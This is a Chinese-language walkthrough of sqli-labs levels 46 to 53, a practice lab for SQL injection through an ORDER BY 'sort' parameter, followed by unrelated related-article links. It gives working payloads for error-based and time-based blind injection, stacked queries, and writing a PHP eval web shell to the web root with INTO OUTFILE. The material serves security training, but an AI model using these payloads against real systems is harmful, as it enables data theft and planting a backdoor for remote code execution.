sqli-libs(46-53关)
Less_46
补充知识:MySQL知识
SQL语句中,asc是指定列按升序排列,desc则是指定列 按降序排列;
Select * from users order by 1 desc; 使用降序进行排列;
Select * from users order by 1 asc; 使用升序进行排列;
Right() select right(database(),1) 从右往左数第一个数据库;
Left() select left(database(),1) 从左往右数第一个数据库;
less46没有使用包裹
输入?id=1 得到下面,所以我们使用?sort=1 进行操作 其中1代表把第一列按从小到大进行排列;
修改为2,即为将第二列按从小到大进行排列;


?Sort=2 desc; 使用降序进行排列;

?Id=2 asc; 使用升序进行排列;

说明这里存在注入漏洞
三种方法:
1.报错注入
2.时间盲注
3.一句话木马
方法一:报错注入
输入:?sort=3 and updatexml( 1, concat( 0x7e, (database())), 1) --+ 得到当前数据库;

输入:?sort=3 and updatexml( 1, concat( 0x7e, (select schema_name from information_schema.schemata limit 0,1), 1) ,1)--+ 得到第一个数据库名字;

方法二: 时间盲注
输入:?sort=3 and if(length(database()=1),1,sleep(5))--+

输入:?sort=3 and if(left((select schema_name from information_schema.schemata limit 0,1),1)>'s',1,sleep(5))--+

方法三:一句话木马
输入 ?sort=3 and (select '<?php @eval($_POST[gxy]);?>') into outfile 'C:\\phpStudy\\WWW\\c.php '--+



我们并没有把一句话木马写进去,所以我们采取 lines terminated by 0x 十六进制进行注入;
输入 ?sort=3 into outfile "C:\\phpStudy\\WWW\\c.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b27677879275d293b203f3e --+


Less_47
Less47:使用’’包裹 其他与第46关基本一致

Less_48
Less48: 无包裹 不返回报错信息 不能使用报错注入,其他操作与第46关基本一致。


Less_49
Less49: 使用“”包裹 不返回报错信息 不能使用报错注入,其他操作与第46关基本一致


Less_50
Less50无包裹

第50关与第46关不同的是 使用了mysqli_multi_query函数
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

所以我们可以用堆叠注入的方法;
五种方法:
1.时间的盲注
2.报错注入
3.写一句话木马
4.使用堆叠注入创建删除一个表
5.使用堆叠 注入写一句话木马
方法一:时间盲注
?sort=1 and if(length(database()>1),1,sleep(5)) --+

方法二:报错盲注
?sort=1 and updatexml(1,concat(0x7e,(database())),1)--+

方法三:写一句话木马
输入:?sort=1 and (select '<?php @eval($_POST[ztt]);?>') into outfile 'C:\\phpStudy\\WWW\\a.php '--+


发现一句话木马并没有,输入:?sort=1 into outfile "C:\\phpStudy\\WWW\\a.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b27677879275d293b203f3e --+


方法四:使用堆叠注入创建一个表
?sort=3;create table ztt50 like users;insert into ztt50 select * from users;--+



Less_51
Less-51: 使用’’包裹 其他操作与第50关基本一致。

五种方法:
1.时间的盲注
2.报错注入
3.写一句话木马
4.使用堆叠注入创建删除一个表
5.使用堆叠 注入写一句话木马
Less_52
Less-52: 无包裹 回显不显示错误 不能使用报错注入,则其他方法与第50关基本一致

四种方法:
1.时间的盲注
2.写一句话木马
3.使用堆叠注入创建删除一个表
4.使用堆叠 注入写一句话木马
Less_53
Less-53:使用’’包裹 不回显错误 不能使用报错注入 其他方法与第50关基本一致。

四种方法:
1.时间的盲注
2.写一句话木马
3.使用堆叠注入创建删除一个表
4.使用堆叠 注入写一句话木马
sqli-libs(46-53关)的更多相关文章
- SD card技术了解并WINCE下SDHC驱动开发(updated)
Suumary: 简单介绍了一下SD卡的历史和发展,同时结合MX31 ADS上的WINCE 下SDHC驱动更深入的了解该硬件的一些行为特点. 了解SD card SD是Secure Digital C ...
- SQL-三级分类查询
/*SQLyog 企业版 - MySQL GUI v8.14 MySQL - 5.5.40 : Database - appinfodb******************************** ...
- mysql表基本查询
第一节 -- or # 单行注释/***多行注释*/ -- c创建数据库examCREATE DATABASE exam; USE exam; /*创建部门表*/CREATE TABLE dept( ...
- MySQL内存计算器
MySQL如何使用内存? 首先,介绍MySQL使用内存的一些方法: 1. 会话级别的内存消耗(连接私有内存):如sort_buffer_size等,每个会话都会开辟一个sort_buffer_size ...
- bzoj AC倒序
Search GO 说明:输入题号直接进入相应题目,如需搜索含数字的题目,请在关键词前加单引号 Problem ID Title Source AC Submit Y 1000 A+B Problem ...
- Linux软件包管理和磁盘管理实践
一.自建yum仓库,分别为网络源和本地源 本地yum仓库的搭建就是以下三个步骤: 创建仓库目录结构 上传相应的包到目录下,或者直接挂载光盘也行,如果挂载光盘,第三步就可以省略,因为光盘默认里有repo ...
- Oracle精讲视频课程【价值1.67万】
ke程链接 https://edu.51cto.com/center/course/lesson/index?id=14443 课程大纲: 0_Oracle学习路线分析(Oracle学习必读)[免费试 ...
- 资源描述结构(Resource Description Framework,RDF)
资源描述框架(Resource Description Framework),一种用于描述Web资源的标记语言.RDF是一个处理元数据的XML(标准通用标记语言的子集)应用,所谓元数据,就是" ...
- 获取文本的编码类型(from logparse)
import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.F ...
- [机器学习] 深度学习之caffe1——软件配置与测试
caffe的编译配置真的是很让人头疼啊,不知道试过多少次了~~~ 重装系统了七八次,搞得linux的一些常用命令倒是很熟悉了~~~ 我有洁癖~~~某一个点上出了错,我一定要把它搞好了,再重新来一次,我 ...
随机推荐
- gulp 对js\css进行md5 加密
有的服务器为了网站加载速度,会做服务器缓存,这样就会出现代码出现引用地址没变,新代码不生效,而我们又希望新代码可以及时生效,这样我们就需要避免缓存,当然也有很多方法,本文只介绍使用gulp-rev(对 ...
- adworld MISC002 | Linux的挂载文件系统的运用
EXT3是第三代扩展文件系统(英语:Third extended filesystem,缩写为ext3),是一个日志文件系统,常用于Linux操作系统. Plan 1: 直接将附件使用mount命令挂 ...
- Doing Homework HDU - 1074 状态压缩
#include<iostream> #include<cstring> #include<cstdio> #include<string> #incl ...
- 题解【洛谷P2264】情书
题面 看到每一单词在同一句话中出现多次感动值不叠加,一眼想到 \(\text{set}\). 首先将词汇列表中的单词存储起来,我用的是 \(\text{set}\). 对于每一个句子的单词,我们可以先 ...
- Django 初试水(三)
在前面的一和二中,分别实现了一些基础的操作,数据库和 Django 自带的管理界面,接下来,主要是创建我们自己的界面(视图). 访问一个地址,对应的服务器直接返回一个视图.这是最常见的交互. 就好比访 ...
- 基于约束条件的SQL攻击
一.背景 今天看了一篇基于约束条件的SQL攻击的文章,感觉非常不错,但亲自实践后又发现了很多问题,虽然利用起来有一定要求,不过作者的思想还是很值得学习的.原文中的主旨思想是利用数据库对空格符的特殊处理 ...
- 浅析State-Thread
State-Thread(以下简称st),是一个由C语言编写的小巧.简洁却高效的开源协程库.这个库基于单线程运作.不强制占用用户线程,给予了开发者最大程度的轻量级和较低的侵入性.本篇文章中,网易云信音 ...
- 《深入理解Java虚拟机》读书笔记五
第六章 类文件结构 1.无关性的基石 各种不同平台的虚拟机与所有平台都统一使用程序存储格式——字节码是构成平台无关的基石. 实现语言无关性的基础仍然是虚拟机和字节码存储格式,Java虚拟机不和包括Ja ...
- [CF755B] PolandBall and Game - 博弈论
[CF755B] Description 两个人轮流说单词,每个人只能说自己的的单词库里的单词.被任意方说过的单词不能再说.一个单词只会在某个人的单词库中出现一次,但是可能同时出现在两个人的单词库中. ...
- python3练习100题——014
这题卡了我一整天,然后还是看答案撸了一遍- 原题链接:http://www.runoob.com/python/python-exercise-example14.html 题目:将一个正整数分解质因 ...